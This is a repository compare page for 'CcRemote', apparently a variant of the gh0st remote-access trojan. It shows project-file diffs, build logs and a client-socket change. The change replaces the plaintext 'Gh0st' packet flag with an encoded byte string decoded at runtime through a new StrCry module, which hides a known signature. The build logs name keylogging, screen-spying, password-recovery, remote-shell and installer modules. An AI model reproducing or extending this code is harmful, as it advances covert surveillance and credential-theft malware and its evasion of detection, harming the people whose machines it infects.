Compare commits
21 Commits
20200528.2
...
20200618.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
b61421979c | ||
![]() |
4793b09f3b | ||
![]() |
b860325b46 | ||
![]() |
b1ac10498d | ||
![]() |
a68ca8fc40 | ||
![]() |
6b0a59d2b1 | ||
![]() |
7512936a9c | ||
![]() |
feb20dcd4e | ||
![]() |
d7f2bcec1c | ||
![]() |
fda76bbbd1 | ||
![]() |
eed525d3f5 | ||
![]() |
41c189a5a7 | ||
![]() |
d3ad76272a | ||
![]() |
2afd8019a8 | ||
![]() |
d12cd9d6ac | ||
![]() |
208be40ccb | ||
![]() |
3d3b2ce49a | ||
![]() |
cd670fdaed | ||
![]() |
2cee9bb467 | ||
![]() |
c95afb225a | ||
![]() |
5261d32d51 |
@@ -193,6 +193,7 @@
|
||||
<ClInclude Include="DynamicAPI.h" />
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
<ClInclude Include="StrCry.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
@@ -285,6 +286,7 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="StrCry.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
@@ -78,6 +78,9 @@
|
||||
<ClInclude Include="common\install.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="StrCry.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
@@ -140,5 +143,8 @@
|
||||
<ClCompile Include="common\Manager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="StrCry.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -8,6 +8,7 @@
|
||||
#include <MSTcpIP.h>
|
||||
#include "common/Manager.h"
|
||||
#include "common/until.h"
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -29,8 +30,13 @@ CClientSocket::CClientSocket()
|
||||
m_bIsRunning = false;
|
||||
m_Socket = INVALID_SOCKET;
|
||||
// Packet Flag;
|
||||
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
||||
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
||||
|
||||
char CcRmt[] = { 0x05,0x88,0xa9,0x9b,0xa5,0xb3 }; //CcRmt ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD>ض<EFBFBD>Ҫһ<D2AA><D2BB>
|
||||
char* pCcRmt = decodeStr(CcRmt); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
memcpy(m_bPacketFlag, pCcRmt, CcRmt[STR_CRY_LENGTH]);
|
||||
memset(pCcRmt, 0, CcRmt[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pCcRmt;
|
||||
}
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CClientSocket::~CClientSocket()
|
||||
@@ -344,7 +350,7 @@ void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
|
||||
m_CompressionBuffer.Read(pData, nCompressLength);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
|
||||
// <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
|
||||
unsigned long destLen = nUnCompressLength;
|
||||
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
@@ -8,6 +8,7 @@
|
||||
#include <mswsock.h>
|
||||
#include "common/Buffer.h" // Added by ClassView
|
||||
#include "common/Manager.h"
|
||||
#include "StrCry.h"
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
37
CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
Normal file
@@ -0,0 +1,37 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ilk
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
@@ -1,107 +1,116 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
KernelManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
KeyboardManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
ScreenManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ShellManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
